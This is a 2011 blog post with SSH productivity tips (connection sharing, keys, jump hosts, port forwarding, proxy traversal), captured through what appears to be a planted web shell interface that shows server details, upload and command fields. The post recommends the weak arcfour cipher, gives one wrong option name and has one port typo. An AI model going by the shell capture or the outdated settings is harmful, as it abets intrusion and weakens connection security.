403Webshell
Server IP : 23.94.149.180  /  Your IP : 216.73.216.147
Web Server : nginx/1.20.1
System : Linux deadrock 5.14.0-741.22.1.el9_9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 12 15:18:14 UTC 2026 x86_64
User : nginx ( 991)
PHP Version : 8.6.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /files/www/hacklab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /files/www/hacklab//ssh-tips.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" id="sixapart-standard">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="Content-Style-Type" content="text/css" />
    <meta http-equiv="Content-Script-Type" content="text/javascript" />
    <title>SSH Can Do That? Productivity Tips for Working with Remote Servers | Smylers [blogs.perl.org]</title>
    <meta name="generator" content="Movable Type Pro 4.37" />
    

    
    
        
        
        
        
        
        
        
        
    <link href="http://blogs.perl.org/users/smylers/styles/reset.css" rel="stylesheet" type="text/css" />
    <link href="http://blogs.perl.org/users/smylers/styles/base.css" rel="stylesheet" type="text/css" />

    <link href="http://blogs.perl.org/mt/mt-static/plugins/GCPrettify/prettify.css" rel="stylesheet" type="text/css" />
    <link rel="alternate" type="application/atom+xml" title="Entries" href="http://blogs.perl.org/users/smylers/atom.xml" />

    <link rel="start" href="http://blogs.perl.org/users/smylers/" title="Home" />
    <script type="text/javascript" src="http://blogs.perl.org/users/smylers/mt.js"></script>
    <script type="text/javascript" src="http://blogs.perl.org/mt/mt-static/plugins/GCPrettify/prettify.js"></script>
    <script type="text/javascript">mtAttachEvent('load', prettyPrint);</script>
    <!--
<rdf:RDF xmlns="http://web.resource.org/cc/"
         xmlns:dc="http://purl.org/dc/elements/1.1/"
         xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<Work rdf:about="http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html">
<dc:title>SSH Can Do That? Productivity Tips for Working with Remote Servers</dc:title>
<dc:description><![CDATA[SSH has many features which are helpful when working regularly with files on remote servers; together they can give a vast increase in productivity over the bare use of SSH. If you regularly use SSH, it.s worth spending a little time learning about these and configuring your environment to make your life easier.

This was <a href=http://yapceurope.lv/ye2011/talk/3606>presented at Yapc Europe 2011</a> in Riga. If you.d like me to come and talk about this at your user group or workplace, please get in touch.]]></dc:description>
<dc:creator>Smylers</dc:creator>
<dc:date>2011-08-16T14:38:00+00:00</dc:date>
<license rdf:resource="http://creativecommons.org/licenses/by-sa/3.0/" />
</Work>
<License rdf:about="http://creativecommons.org/licenses/by-sa/3.0/">
</License>
</rdf:RDF>
-->

    


    
    
    
    
    

</head>
<body class="">
    <div id="container">
    <div id="container-inner" class="pkg">
        <div id="global-nav">
        <div id="global-nav-inner">
            <div id="global-nav-search">
                <form method="get" action="http://blogs.perl.org/mt/mt-search.fcgi">
                    <input type="hidden" name="limit" value="20" />

                    <label for="search">Search</label>
                    <input id="global-search" class="query" name="search" value="Search blogs.perl.org" onfocus="cleanGlobalSearch();" />
                    <input class="submit" type="submit" value="Go" />
                </form>
            </div><!-- #global-nav-search -->

            <ul id="global-nav-links">
                <li><a href="/">blogs.perl.org</a></li>

                <li><a href="http://www.perl.org/">perl.org</a></li>
                <li><a href="http://perlnews.org/">perlnews.org</a></li>
                <li><a href="http://www.pm.org/">pm.org</a></li>
		<li id="navbar-signin-widget">
<span id="navbar-signin-widget-content" class="widget-content"></span>
</li>
<script type="text/javascript">
/* <![CDATA[ */
mtAttachEvent('usersignin', mtUpdateNavbarSignInWidget);
mtUpdateNavbarSignInWidget();
/* ]]> */
</script>
            </ul><!-- #global-nav-links -->

        </div><!-- #global-nav-inner -->
        </div><!-- #global-nav -->
        


        
        <div id="header" class="pkg">
        <div id="header-inner">
            <h1 id="site-title"><a href="http://blogs.perl.org/users/smylers/" accesskey="1">Smylers</a></h1>
            <div id="site-description"></div>
        </div><!-- #header-inner -->
        </div><!-- #header -->

        
        <div id="content">
        <div id="content-inner" class="pkg">
            <div id="content-main">
            



<div class="entry" id="entry-2098">
                        <h2 class="entry-title">SSH Can Do That? Productivity Tips for Working with Remote Servers</h2>
                        
                        <div class="entry-meta-1 pkg">
                            <span class="byline">By <a href="http://blogs.perl.org/users/smylers/" class="profile-link">Smylers</a></span>

							<span class="dateline">on <span class="date" title="iso8601">August 16, 2011  2:38 PM</span></span>
							
						</div><!-- .entry-meta -->
                        
                        <div class="entry-body">
                            <p>SSH has many features which are helpful when working regularly with files on remote servers; together they can give a vast increase in productivity over the bare use of SSH. If you regularly use SSH, it.s worth spending a little time learning about these and configuring your environment to make your life easier.</p>

<p>This was <a href=http://yapceurope.lv/ye2011/talk/3606>presented at Yapc Europe
2011</a> in Riga. If you.d like me to come and talk about this at your user
group or workplace, please get in touch.</p>

<h3>Multiple Connections</h3>

<p>Often it.s useful to have multiple connections to the same server, for example to edit a file, run some file-system commands, and view a log file all in different terminal windows. Except sometimes that can seem too much hassle, so we compromise and end up repeatedly cycling through quitting and restarting a few different commands in one window.</p>

<p>Fortunately OpenSSH has a feature which makes it much snappier to get another terminal on a server you.re already connected to: <strong>connection sharing</strong>. OpenSSH is the implementation of SSH that comes with many Unix-liked operating systems, including all the common Linux distributions and Mac OSX.</p>

<p>To enable connection sharing, edit (or create) your personal SSH config, which is stored in the file <i>~/.ssh/config</i>, and add these lines:</p>

<pre>ControlMaster auto
ControlPath /tmp/ssh_mux_%h_%p_%r</pre>

Then exit any existing SSH connections, and make a new connection to a server. Now in a second window, SSH to that same server. The second terminal prompt should appear almost instantaneously, and if you were prompted for a password on the first connection (which we need to sort out anyway . keep reading . but it's a convenient way of verifying this shared connection stuff) you won.t be on the second.

<h3>What About Windows Users?</h3>

Some of these productivity features are implementation-specific, so not available if you use a different SSH client, such as Putty.

However, OpenSSH is available for Windows, in the form of <a href=http://www.itefix.no/i2/copssh>Copssh</a>. If some of these OpenSSH tips sound useful to you, it may be worth giving Copssh a try (or indeed switching to a different operating system&nbsp;...).

<h3>Copying Files</h3>

Shared connections aren.t just a boon with multiple terminal windows; they also make copying files to and from remote servers a breeze. If you SSH to a server and then use the <code class="prettyprint">scp</code> command to copy a file to it, <code class="prettyprint">scp</code> will make use of your existing SSH connection . and in Bash you even get <kbd>Tab</kbd> filename completion on remote files.

Connections are also shared with <code class="prettyprint">rsync</code>, <code class="prettyprint">git</code>, or any other command which uses SSH for connection.


<h3>Repeated Connections</h3>

If you find yourself making multiple consecutive connections to the same server (you do something on a server, log out, and then a little later connect to it again) then enable <strong>persistent connections</strong>. This is simply one more line in your config (in addition to the two above for shared connections):

<pre>ControlPersist 4h</pre>

That will cause connections to hang around for 4&nbsp;hours (or whatever time you specify) after you log out, ready to spring back into life if you request another connection to the same server during that time.

Again, it really speeds up copying multiple files; a series of <code class="prettyprint">scp</code> commands doesn.t require authenticating with the server each time.

<h3>Don.t Type Passwords</h3>

If currently you type a password when making an SSH connection, you can make connecting much more pleasant by setting up <strong>SSH keys</strong>. With keys you do get prompted for a pass phrase, but this happens only once per booting your computer, rather than on every connection.

With OpenSSH generate yourself a private key with:

<pre><b>$</b> ssh-keygen</pre>

and follow the prompts. Do provide a pass phrase, so your private key is encrypted on disk. Then you need to copy the public part of your key to servers you wish to connect to. If your system has <code class="prettyprint">ssh-copy-id</code> then it.s as simple as:

<pre><b>$</b> ssh-copy-id smylers@compo.example.org</pre>

Otherwise you need to do it manually:

<ol>
<li> Find the public key. The output of <code class="prettyprint">ssh-keygen</code> should say where this is, probably <i>~/.ssh/id_rsa.pub</i>.
<li> On each of your remote servers insert the contents of that file into <i>~/.ssh/authorized_keys</i>.
<li> Make sure that only your user can write to both the directory and file.
</ol>

Something like this should work:

<pre><b>$</b> < ~/.ssh/id_rsa.pub ssh clegg.example.org 'mkdir -p .ssh; cat >> .ssh/authorized_keys; chmod go-w .ssh .ssh/authorized_keys'</pre>

Then you can SSH to servers, copy files, and commit code all without being hassled for passwords.

<h3>SSH Keys with Putty</h3>

Putty can do SSH keys too. <a href=http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>Download PuttyGen and Pageant</a> from the Putty website, use PuttyGen to generate a key, copy it to remote servers. <i>.ssh/authorized_keys</i> as above, and then run Pageant. Introduce Pageant to your private key, and it will keep running in the background. Putty will spot this, and automatically use the key provided by Pageant instead of prompting you for a password.

Full details are in <a href=http://the.earth.li/~sgtatham/putty/0.61/htmldoc/Chapter8.html>chapters&nbsp;8 and 9</a> of the Putty manual.


<h3>Onward Connections</h3>

Sometimes it.s useful to connect from one remote server to another, particularly to transfer files between them without having to make a local copy and do the transfer in two stages, such as:

<pre><b>www1 $</b> scp -pr templates www2:$PWD</pre>

(Aside: note how useful <code class="prettyprint">$PWD</code> is when copying between servers with  common directory layouts.)

Even if you have your public key installed on both servers, this will still prompt for a password by default: the connection is starting from the first remote server, which doesn.t have your private key to authenticate against the public key on the second server. Do not .fix. this by copying your private key to remote servers; you don.t want to have copies of that stored on servers. disks, and anyway it doesn.t help much cos you still need to provide a pass phrase to decrypt it.

Instead use agent forwarding, with this line in your <i>.ssh/config</i>:

<pre>AgentForwarding yes</pre>

Or in Putty check the box .Allow agent forwarding..

Then your local SSH agent (which has prompted for your pass phrase and decoded the private key) is forwarded to the first server and can be used when making onward connections to other servers.

Note you should only use agent forwarding if you trust the sys-admins of the intermediate server.

<h3>Don.t Type Full Hostnames</h3>

It.s tedious to have to type out full hostnames for servers. Typically a group of servers have hostnames which are subdomains of a particular domain name. For example you might have these servers:

<ul>
<li> <code class="prettyprint">www1.example.com</code>
<li> <code class="prettyprint">www2.example.com</code>
<li> <code class="prettyprint">mail.example.com</code>
<li> <code class="prettyprint">intranet.internal.example.com</code>

<li> <code class="prettyprint">backup.internal.example.com</code>
<li> <code class="prettyprint">dev.internal.example.com</code>
</ul>

Your network may be set up so that short names, such as <code class="prettyprint">intranet</code> can be used to refer to them. If not, you may be able to do this yourself even without the co-operation of your local network admins.

Exactly how to do this depends on your OS. Here.s what worked for me on a recent Ubuntu installation: editing <i>/etc/dhcp/dhclient.conf</i>, adding a line like this:

<pre>prepend domain-search "internal.example.com", "example.com";</pre>

and restarting networking:

<pre><b>$</b> sudo restart network-manager</pre>

The exact file to be tweaked and command for restarting networking seems to change with alarming frequency on OS upgrades, so you may need to do something slightly different.

<h3>Hostname Aliases</h3>

You can also define hostname aliases in your SSH config, though this can involve listing each hostname. For example:

<pre>Host dev
  HostName dev.internal.example.com</pre>

You can use wildcards to group similar hostnames, using <code class="prettyprint">%h</code> in the fully qualified domain name:


<pre>Host dev intranet backup
  HostName %h.internal.example.com

Host www* mail
  HostName %h.example.com
</pre>

<p>In Putty you can save a separate session for each hostname, then double-click on it to start a connection to that server. (I don.t think there.s a way of using wildcards to specify hostname transformations though.)</p>

<h3>Don.t Type Usernames</h3>

<p>If your username on a remote server is different from your local username, specify this in your SSH config as well:</p>

<pre>Host www* mail
  HostName %h.example.com
  User simon
</pre>

<p>Now even though my local username is <code class="prettyprint">smylers</code>, I can just do:</p>

<pre><b>$</b> ssh www2</pre>

and SSH will connect to the <code class="prettyprint">simon</code> account on the server.

Again, Putty users can save usernames in their session config to avoid being prompted on each connection.

<h3>Jumping Through Servers</h3>

Sometimes you can.t make a network connection directly to the server you wish to access; you have to first SSH to an intermediate server and then on to the server you want. This can also be automated.

First make sure that you have keys and agent forwarding set up so that you can SSH to the intermediate server in one command and from there to the target server in a second command, each without any prompting:

<pre><b>$</b> ssh gateway

<b>gateway $</b> ssh db</pre>

Then in your local SSH config, specify that a connection to the target server should be proxied through the intermediate server using <code class="prettyprint">netcat</code>:

<pre>Host db
  HostName db.internal.example.com
  ProxyCommand ssh gateway netcat -q 600 %h %p
</pre>

<p>Then you can just do:</p>

<pre><b>$</b> ssh db</pre>

And, after a brief pause while SSH chugs through authenticating twice, you.ll have a shell on the second server.</p>

Note that <code class="prettyprint">netcat</code> is sometimes spelt <code class="prettyprint">nc</code> or <code class="prettyprint">ncat</code> or has a <code class="prettyprint">g</code> in front of it; check what the command is called on your intermediate server.


<h3>Escaping from Networks</h3>

Sometimes the problem is that you can.t SSH out of a network; you.ve been provided with web access but SSH is blocked.

Or rather port&nbsp;22, the default SSH port, is blocked. You can allow for this by configuring your SSH server to listen on port&nbsp;80 or 443, which being web ports will be accessible from any network that provides web access. Edit <i>/etc/ssh/sshd_config</i> on a server, add this line:

<pre>Port 443</pre>

and restart the SSH server:

<pre><b>$</b> sudo reload ssh</pre>

Of course this only works if your server isn.t already serving HTTPS web pages. But you only need to set up one such server on the internet; once you have SSHed there, you can make onward connections to port&nbsp;22 on other servers as normal.

And remember you need to set this up in advance (how about now?). Once you.ve found yourself on a network with only web access, you.re stuck unless you can contact somebody else with access to your SSH server to reconfigure it for you.

<h3>Defeating Web Proxies</h3>

Sometimes not only does a network provide just web access, but to get even that you have to use a web proxy. Fortunately a program called <strong>Corkscrew</strong> can send SSH traffic through a web proxy.

<a href=http://www.agroman.net/corkscrew/>Corkscrew</a> is really simple to use. Whenever I.ve needed it, I've searched the web for it, downloaded it, followed the instructions on its website, and it.s just worked. You (temporarily) use configuration like this:

<pre>ProxyCommand corkscrew proxy.example.org 8080 %h %p</pre>

<h3>Gui Applications and Remote Windows</h3>

It can be useful to run gui programs on files on remote servers. For example, to edit an image, or view a PDF file, or simply for editing code if your text editor of choice isn.t terminal based; I find GVim more usable than terminal Vim, and also like that running <code class="prettyprint">gvim</code> opens a new window and frees up the shell prompt for typing further commands.

This can be made to work over SSH too, using a feature call <strong>X forwarding</strong>. Enable it in your config:

<pre>ForwardX11 yes</pre>

This also requires the server to co-operate. It needs to allow X forwarding, enabled with this line in <i>/etc/ssh/sshd_config</i> (and a restart):

<pre>X11Forwarding yes</pre>

It also requires the <code class="prettyprint">xauth</code> command installing, as well as the editor, image viewer, gui debugger, or any other graphical applications you wish to run.

This works on Linux and any other operating systems with a local X server. X servers for Mac and Windows are available, but you may be more hassle than they are worth; switching to using Linux may be easier.

<h3>Operating on Remote Files Locally</h3>

An alternative to having remote gui applications display locally is to have local gui applications operate on remote files. This can be done with <strong>SSHFS</strong>.

Simply create an empty directory then use <code class="prettyprint">sshfs</code> to mount a remote directory there; specify a server and directory on that server, and your empty directory:

<pre><b>$</b> mkdir gallery_src
<b>$</b> sshfs dev:projects/gallery/src gallery_src

<b>$</b> cd gallery_src
<b>$</b> ls</pre>

Then you can run any local applications on files in that directory. Well, files that <em>appear</em> to be in that directory; magic happens which makes them appear there whenever requested, but actually stored on the server.

To unmount you need to use the <code class="prettyprint">fusermount</code> command. Don.t worry if you find this hard to remember; the <code class="prettyprint">sshfs</code> manual page includes it in the synopsis at the top.


<pre><b>$</b> cd ..
<b>$</b> fusermount -u gallery_src</pre>

SSHFS works on Linux and OSX. I haven.t found anything equivalent for Windows users.

<h3>Using Vim on Remote Files</h3>

Vim has a built-in feature for editing remote files, using <code class="prettyprint">scp</code> URLs:

<pre><b>$</b> gvim scp://dev/projects/gallery/src/templates/search.html.tt</pre>

Obviously this is more restricted that SSHFS, but it may be handier in circumstances where editing a remote file or two is all you want to do.

And this can be made to work on Windows. In Vim see:

<pre>:help netrw-problems</pre>

<h3>Connecting to Remote Services with Local Apps</h3>

Sometimes there is a service, such as a database or a web server, which is available on a remote server but it would be handy to connect to it from a local application. This can be achieved with <strong>port forwarding</strong>.

For example, if the <code class="prettyprint">db</code> server is running Postgres (and only allows access locally) you can put this in your SSH config:

<pre>Host db
  LocalForward 5433 localhost:5432
</pre>

<p>Then when you SSH to that server it sets up port&nbsp;5433 (a number I just made up) on your computer to forward all traffic to port&nbsp;5432 (the standard Postgres port) on the server, and that, so far as the server is concerned, the connection comes from <code class="prettyprint">localhost</code>.</p>

<pre><b>$</b> ssh db</pre>

So in another window (or after immediately exiting the shell created by the above command if you.re using persistent connections) you can connect to the DB with a local Postgres client:

<pre><b>$</b> psql -h localhost -p 5443 orders</pre>

This is especially handy if you wish to use a graphical DB client which isn.t available on the server:

<pre><b>$</b> pgadmin3 &</pre>

Or if you have a .back-end. web server which isn.t directly accessible on the internet, you can forward it traffic from a local port:

<pre>Host api
  LocalForward 8080 localhost:80
</pre>

<p>Then SSH to the server:</p>

<pre><b>$</b> ssh api</pre>

<p>And point a local web browser at the port number you picked to view the server.s output:</p>

<pre><b>$</b> firefox http://localhost:8080/</pre>

<h3>Avoiding Delays</h3>

<p>If connecting to a server seems to sit there for a few seconds not doing anything, try adding this line to your config:</p>

<pre>GSSAPIAuthentication no</pre>

<p>And if that works, ask the server.s sys-admin to disable it in the server config, for the benefit of all users . exactly the same line as above, but in <i>/etc/ssh/sshd_config</i>.</p>

<h3>Faster Connections</h3>

<p>If you are connecting to a server across a network which is already secure (such as your internal office network) then you can make data transfer faster by choosing the <code class="prettyprint">arcfour</code> encryption algorithm:</p>

<pre>Host dev
  Ciphers arcfour</pre>

<p>Note this speed-up is achieved by using less secure .encryption., so do <em>not</em> do this for connections over the internet. Make sure you only specify it for particular hosts, not as the default. And only use it on a laptop (which of course can be used on multiple networks) for connections that go over a VPN.</p>

<h3>Go and Do It!</h3>

<p>The above are a collection of productivity tips for using SSH. If you have any more to share, please do get in touch on <a href=mailto:Smylers@cpan.org>Smylers@cpan.org</a> or to <a href=http://twitter.com/Smylers2>@Smylers2 on Twitter</a>. (And this hasn.t been proofread yet, so corrections also welcome.)</p>

<p>Now go and use these features. Take a little bit of time now to get SSH set up nicely, and make working with remote servers easier for yourself.</p>

<h3>Acknowledgements</h3>

<p>Thank you to <a href=http://aaroncrane.co.uk/>Aaron Crane</a>, who as well as being my keyboard monkey during the talk also taught me much of what I know about SSH, some of which came from his <a href=http://aaroncrane.co.uk/2008/04/ssh_faster/>Speeding up SSH Logins</a> article, to Paul Knight for the tips about Vim.s <code class="prettyprint">scp</code> URLs and persistent connections, and to Aristotle (@apag on Twitter) for the <a href=http://twitter.com/apag/statuses/78580576554196993>tip about <code class="prettyprint">arcfour</code></a>.</p>

<p>And thank you to search engine <a href=http://www.duckduckgo.com/>DuckDuckGo</a> for the T-shirt. If you haven.t tried DuckDuckGo, I recommend giving it a go as your first-choice search engine. It happens to be written in Perl, and the customer service (responding to requests and fixing reported bugs) is fantastic.</p>

                            

                        </div><!-- .entry-body -->
                        
                        <div class="entry-meta-2 pkg">
                            <ul>
                                <li><a href="#comments">5 comments</a></li>
                                <!-- <li><a href="http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html">0 votes</a></li> -->

                            </ul>
                        </div>
                    </div><!-- #entry-2098 -->
                    





<div id="comments" class="comments">


    
    
        
    <h2 class="comments-header">5 Comments</h2>
    
    <div id="comments-content" class="comments-content" style="clear: left;">
        
        <div id="comment-32952" class="comment">

    <div class="inner">
        <div class="comment-header">
            <div class="asset-meta">
                <span class="byline">
                    <img alt="Author Profile Page" src="http://blogs.perl.org/mt/mt-static/images/comment/mt_logo.png" width="16" height="16" />

                    <span class="vcard author">Tom Wyant</span>

                    | <a href="http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html#comment-32952"><abbr class="published" title="2011-08-16T18:50:37+00:00">August 16, 2011  6:50 PM</abbr></a>

                    | <a title="Reply" href="javascript:void(0);" onclick="mtReplyCommentOnClick(32952, 'Tom Wyant')">Reply</a>

                </span>
            </div>
        </div>
        <div class="comment-content">
            <p>ControlPersist seems to be fairly recent. It's in Fedora 15 and Ubuntu 11.04 (OpenSSH_5.6p1), but not Fedora 14 (OpenSSH_5.5p1) or Ubuntu 10.04 LTS (OpenSSH_5.3p1).</p>

        </div>
    </div>
</div>
        
    
        
        <div id="comment-32953" class="comment">
    <div class="inner">
        <div class="comment-header">
            <div class="asset-meta">
                <span class="byline">
                    <img alt="Author Profile Page" src="http://blogs.perl.org/mt/mt-static/images/comment/mt_logo.png" width="16" height="16" />

                    <span class="vcard author">er0k</span>

                    | <a href="http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html#comment-32953"><abbr class="published" title="2011-08-16T19:08:46+00:00">August 16, 2011  7:08 PM</abbr></a>

                    | <a title="Reply" href="javascript:void(0);" onclick="mtReplyCommentOnClick(32953, 'er0k')">Reply</a>

                </span>

            </div>
        </div>
        <div class="comment-content">
            <p>Very useful list, thanks! But don't forget about SSH's tunneling capabilities. You can tunnel any number of services on various ports with the -L option, or use -R for reverse tunnels. Together with something like autossh, you have some very powerful options.</p>

        </div>
    </div>
</div>
        
    
        
        <div id="comment-32961" class="comment">

    <div class="inner">
        <div class="comment-header">
            <div class="asset-meta">
                <span class="byline">
                    <img alt="Author Profile Page" src="http://blogs.perl.org/mt/mt-static/images/comment/mt_logo.png" width="16" height="16" />

                    <span class="vcard author">rhesa</span>

                    | <a href="http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html#comment-32961"><abbr class="published" title="2011-08-16T20:35:42+00:00">August 16, 2011  8:35 PM</abbr></a>

                    | <a title="Reply" href="javascript:void(0);" onclick="mtReplyCommentOnClick(32961, 'rhesa')">Reply</a>

                </span>
            </div>
        </div>
        <div class="comment-content">
            <p>I like using <code>autossh</code> to persist and share ssh connections. see <a href="http://aaroncrane.co.uk/2008/04/ssh_faster/">http://aaroncrane.co.uk/2008/04/ssh_faster/</a> for a good writeup.</p>

        </div>
    </div>
</div>
        
    
        
        <div id="comment-32968" class="comment">
    <div class="inner">
        <div class="comment-header">
            <div class="asset-meta">
                <span class="byline">
                    <a class="commenter-profile" href="http://perlmongers.de/?ErlangenPM"><img alt="Author Profile Page" src="http://blogs.perl.org/mt/mt-static/images/comment/mt_logo.png" width="16" height="16" /></a>

                    <span class="vcard author"><a title="http://perlmongers.de/?ErlangenPM" href="http://perlmongers.de/?ErlangenPM" rel="nofollow">Erlangen.pm</a></span>

                    | <a href="http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html#comment-32968"><abbr class="published" title="2011-08-16T21:54:46+00:00">August 16, 2011  9:54 PM</abbr></a>

                    | <a title="Reply" href="javascript:void(0);" onclick="mtReplyCommentOnClick(32968, 'Erlangen.pm')">Reply</a>

                </span>

            </div>
        </div>
        <div class="comment-content">
            <p>I am running OpenSSH_5.8p2, OpenSSL 1.0.0d 8 Feb 2011 and it seems that the option AgentForwarding is called ForwardAgent there. but nice talk at YAPC::EU anyway!</p>

        </div>
    </div>
</div>
        
    
        
        <div id="comment-32977" class="comment">

    <div class="inner">
        <div class="comment-header">
            <div class="asset-meta">
                <span class="byline">
                    <img alt="Author Profile Page" src="http://blogs.perl.org/mt/mt-static/images/comment/mt_logo.png" width="16" height="16" />

                    <span class="vcard author">Damien Miller</span>

                    | <a href="http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html#comment-32977"><abbr class="published" title="2011-08-17T01:28:24+00:00">August 17, 2011  1:28 AM</abbr></a>

                    | <a title="Reply" href="javascript:void(0);" onclick="mtReplyCommentOnClick(32977, 'Damien Miller')">Reply</a>

                </span>
            </div>
        </div>
        <div class="comment-content">
            <p>When "jumping through servers", instead of using netcat in your ProxyCommand, you can use ssh's new "netcat" mode that connects a remote host:port to standard IO:</p>

<p>ProxyCommand ssh -W %h:%p gateway</p>

<p>I'd recommend "arcfour256" instead of "arcfour" as the fast cipher, as the former has better cryptographic properties. The MAC that is used also contributes to speed, and the fastest MAC that OpenSSH supports is UMAC-64. The "fast" settings I'd recommend are therefore:</p>

<p>Host foo
  Ciphers arcfour256
  MACs umac-64@openssh.com</p>

<p>Note that UMAC-64 is AFAIK only supported by OpenSSH</p>

        </div>
    </div>

</div>
        
    </div>
        
    
    

    
    
    <div class="comments-open" id="comments-open">
        <h2 class="comments-open-header">Leave a comment</h2>
        <div class="comments-open-content">

        
            <div id="comment-greeting"></div>

            <form method="post" action="http://blogs.perl.org/mt/mt-comments.fcgi" name="comments_form" id="comments-form" onsubmit="return mtCommentOnSubmit(this)">
                <input type="hidden" name="static" value="1" />

                <input type="hidden" name="entry_id" value="2098" />
                <input type="hidden" name="__lang" value="en" />
                <input type="hidden" name="parent_id" value="" id="comment-parent-id" />
                <input type="hidden" name="armor" value="1" />
                <input type="hidden" name="preview" value="" />
                <input type="hidden" name="sid" value="" />
                <div id="comments-open-data">
                    <div id="comment-form-name">
                        <label for="comment-author">Name</label>

                        <input id="comment-author" name="author" size="30" value="" onfocus="mtCommentFormOnFocus()" />
                    </div>
                    <div id="comment-form-email">
                        <label for="comment-email">Email Address</label>
                        <input id="comment-email" name="email" size="30" value="" onfocus="mtCommentFormOnFocus()" />
                    </div>
                    <div id="comment-form-url">
                        <label for="comment-url">URL</label>

                        <input id="comment-url" name="url" size="30" value="" onfocus="mtCommentFormOnFocus()" />
                    </div>
                    <div id="comment-form-remember-me">
                        <input type="checkbox" id="comment-bake-cookie" name="bakecookie" onclick="mtRememberMeOnClick(this)" value="1" accesskey="r" />
                        <label for="comment-bake-cookie">Remember personal info?</label>
                    </div>
                </div>
                <div id="comment-form-reply" style="display:none">

                    <input type="checkbox" id="comment-reply" name="comment_reply" value="" onclick="mtSetCommentParentID()" />
                    <label for="comment-reply" id="comment-reply-label"></label>
                </div>
                <div id="comments-open-text">
                    <label for="comment-text">Comments
                    (You may use HTML tags for style)</label>
                    <textarea id="comment-text" name="text" rows="15" cols="50" onfocus="mtCommentFormOnFocus()"></textarea>
                </div>
                <div id="comments-open-captcha"></div>

                <div id="comments-open-footer">
                    <input type="submit" accesskey="v" name="preview_button" id="comment-preview" value="Preview" onclick="this.form.preview.value='1';" />
                    <input type="submit" accesskey="s" name="post" id="comment-submit" value="Submit" />
                </div>
            </form>


        </div>
    </div>
    <script type="text/javascript">
    <!--
    mtAttachEvent("load", mtEntryOnLoad);
    mtAttachEvent("unload", mtEntryOnUnload);
    //-->
    </script>

    


</div>



</div><!-- #content-main -->
            
            <div id="content-aux">
            
                
                <div class="module-aux pkg" id="module-aux-about-author-1384">
                <div class="module-inner">
                    <h3>About Smylers</h3>
                    <p><img class="authorpic" src="http://blogs.perl.org/mt/mt-static/images/default-userpic-50.jpg" alt="user-pic" />

	            TBA.
</p>
                    <div class="more-link"><a href="http://blogs.perl.org/mt/mt-cp.fcgi?__mode=view&amp;id=1384">More info &raquo;</a></div>
                </div>
                </div><!-- #module-aux-about-author -->




                
            
            
            <div class="module-aux pkg" id="module-aux-search">
                <div class="module-inner">

                    
                    
                    <h3>Search this blog</h3>
                    
                    
					
                    <div id="search-form-aux">
                        <form method="get" action="http://blogs.perl.org/mt/mt-search.fcgi">
                    
                            <input type="hidden" name="IncludeBlogs" value="955" />
                    
                            <input type="hidden" name="limit" value="20" />
                            <label for="search">Search</label>
                            <input id="local-search" class="query" name="search" value="" />
                            <input class="submit" type="submit" value="Go" />

                        </form>
                    </div><!-- #search-form-aux -->
                </div>
                </div><!-- #module-aux-search -->
                    

            
            
                
                
                
                
            

            </div><!-- #content-aux -->



        </div><!-- #content-inner -->
        </div><!-- #content -->

        <div id="footer">
        <div id="footer-inner" class="pkg">
            <ul id="footer-nav">
                <li class="first"><a href="http://github.com/davorg/blogs.perl.org/issues">Feedback welcome</a></li>
                <li>Hosted by <a href="http://dave.org.uk">Dave Cross</a> of <a href="http://mag-sol.com/">Magnum Solutions</a> and <a href="http://aaroncrane.co.uk/">Aaron Crane</a> of <a href="http://cutbot.net/">Cutbot</a></li>

            </ul>
            
            <div class="powered-by"><a href="http://www.movabletype.com/" target="_blank">Powered by Movable Type</a></div>
        </div><!-- #footer-inner -->
        </div><!-- #footer -->
            
        </div><!-- #content-inner -->
        </div><!-- #content -->
        
    </div><!-- #container-inner -->
    </div><!-- #container -->

    

</body>
</html>







Youez - 2016 - github.com/yon3zu
LinuXploit